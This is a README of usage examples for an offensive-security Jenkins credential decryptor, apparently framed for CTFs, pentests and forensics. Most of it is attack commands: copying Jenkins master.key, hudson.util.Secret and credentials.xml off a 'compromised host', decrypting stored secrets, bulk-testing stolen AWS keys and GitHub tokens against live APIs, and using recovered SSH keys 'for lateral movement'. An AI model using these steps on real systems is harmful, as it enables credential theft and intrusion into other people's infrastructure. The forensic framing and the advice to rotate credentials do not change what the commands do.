Practical usage examples for Jenkins Credential Decryptor.
basic_decryption.sh - Simple credential decryption workflow
Basic example showing standard decryption with auto-detected Jenkins paths.
./basic_decryption.sh /var/lib/jenkinsFeatures:
- Auto-detects master.key, hudson.util.Secret, credentials.xml
- Validates file existence
- Shows redacted output by default
- Provides commands for reveal and export modes
docker_workflow.sh - Isolated decryption in Docker container
Demonstrates forensically-sound credential recovery using Docker isolation.
# Place Jenkins files in jenkins_files/ directory
cp /path/to/master.key jenkins_files/
cp /path/to/hudson.util.Secret jenkins_files/
cp /path/to/credentials.xml jenkins_files/
# Run workflow
./docker_workflow.shFeatures:
- Complete isolation from host system
- Read-only evidence mounts
- Forensic-grade processing
- Automated credential type analysis
ctf_speedrun.sh - Fast credential recovery for time-limited scenarios
Optimized for CTF competitions and Hack The Box challenges.
./ctf_speedrun.shFeatures:
- Auto-discovers Jenkins installations
- System-wide search for master.key
- Instant credential type identification
- Prioritizes high-value credentials (AWS, GitHub, SSH)
- Quick export to /tmp for immediate use
Perfect for:
- CTF competitions
- Hack The Box labs
- Time-limited penetration tests
forensic_workflow.sh - Evidence preservation and chain of custody
Complete forensic-grade credential recovery with full documentation.
./forensic_workflow.sh CASE-2026-001Features:
- Evidence directory structure creation
- SHA256 hash generation and verification
- File metadata preservation
- Dry-run validation before processing
- Credential type analysis
- Formatted forensic report generation
- Case archival with integrity verification
Includes:
- Phase 1: Evidence Collection
- Phase 2: Integrity Hash Generation
- Phase 3: Validation (Dry-Run)
- Phase 4: Credential Decryption
- Phase 5: Credential Analysis
- Phase 6: Report Generation
- Phase 7: Case Archival
generate_report.py - Formatted credential analysis reports
Python script for generating professional analysis reports from JSON exports.
# Generate report to stdout
python3 generate_report.py credentials.json
# Generate report to file
python3 generate_report.py credentials.json analysis_report.mdFeatures:
- Executive summary
- Credential type breakdown with risk levels
- AWS key analysis and recommendations
- GitHub token analysis
- SSH key identification
- Immediate, short-term, and long-term action items
- Technical details and file sources
- Security best practices references
# Extract files from compromised host
scp user@jenkins:/var/jenkins_home/secrets/master.key .
scp user@jenkins:/var/jenkins_home/secrets/hudson.util.Secret .
scp user@jenkins:/var/jenkins_home/credentials.xml .
# Quick decrypt
python3 ../decrypt.py \
--key master.key \
--secret hudson.util.Secret \
--xml credentials.xml \
--reveal-secrets# Full forensic workflow with documentation
./forensic_workflow.sh INCIDENT-2026-001
# Review generated report
cat forensic-case-INCIDENT-2026-001/reports/forensic_report.md# Fast credential recovery
./ctf_speedrun.sh
# Parse specific credential types
jq -r '.[] | select(.decrypted | startswith("AKIA"))' /tmp/jenkins_creds.json# Prepare evidence
mkdir -p jenkins_files
cp evidence/master.key jenkins_files/
cp evidence/hudson.util.Secret jenkins_files/
cp evidence/credentials.xml jenkins_files/
# Run in isolated container
./docker_workflow.sh
# Generate analysis report
python3 generate_report.py ../outputs/credentials.json analysis.md# Export AWS keys
jq -r '.[] | select(.decrypted | startswith("AKIA")) | .decrypted' creds.json > aws_keys.txt
# Test each key
while read key; do
export AWS_ACCESS_KEY_ID=$(echo "$key" | cut -d: -f1)
export AWS_SECRET_ACCESS_KEY=$(echo "$key" | cut -d: -f2)
aws sts get-caller-identity
done < aws_keys.txt# Export GitHub tokens
jq -r '.[] | select(.decrypted | startswith("ghp_")) | .decrypted' creds.json > github_tokens.txt
# Test each token
while read token; do
curl -H "Authorization: token $token" https://api.github.com/user
done < github_tokens.txt# Extract SSH keys
jq -r '.[] | select(.decrypted | contains("BEGIN")) | .decrypted' creds.json > ssh_keys.txt
# Use for lateral movement
chmod 600 ssh_keys.txt
ssh -i ssh_keys.txt user@targetAll examples can be customized for your environment:
- Paths: Modify Jenkins base paths for your installation
- Output: Change export locations and formats
- Filters: Adjust credential type filters
- Reports: Customize report templates and content
- Always use
--dry-runfirst to validate files - Keep exports in secure, access-controlled locations
- Use Docker isolation for untrusted environments
- Generate and verify cryptographic hashes
- Preserve original file timestamps
- Document chain of custody
- Generate integrity hashes before processing
- Maintain detailed processing logs
- Archive complete case data
- Test credentials in isolated environments first
- Rotate recovered credentials immediately
- Document all access and usage
- Follow organizational security policies
# Make scripts executable
chmod +x *.sh# Search for Jenkins installation
find / -name master.key 2>/dev/null
# Use explicit paths
python3 ../decrypt.py \
--key /path/to/master.key \
--secret /path/to/hudson.util.Secret \
--xml /path/to/credentials.xml# Rebuild Docker image
cd ..
docker-compose build --no-cache offsec-jenkins
# Verify Docker setup
docker-compose config- Main README:
../README.md - Docker Usage Guide:
../DOCKER_USAGE.md - Forensic Guidelines:
../FORENSICS.md - Test Documentation:
../tests/README.md
For questions or issues:
- GitHub Issues: Jenkins-Credential-Decryptor Issues
- Documentation: Main README and FORENSICS guide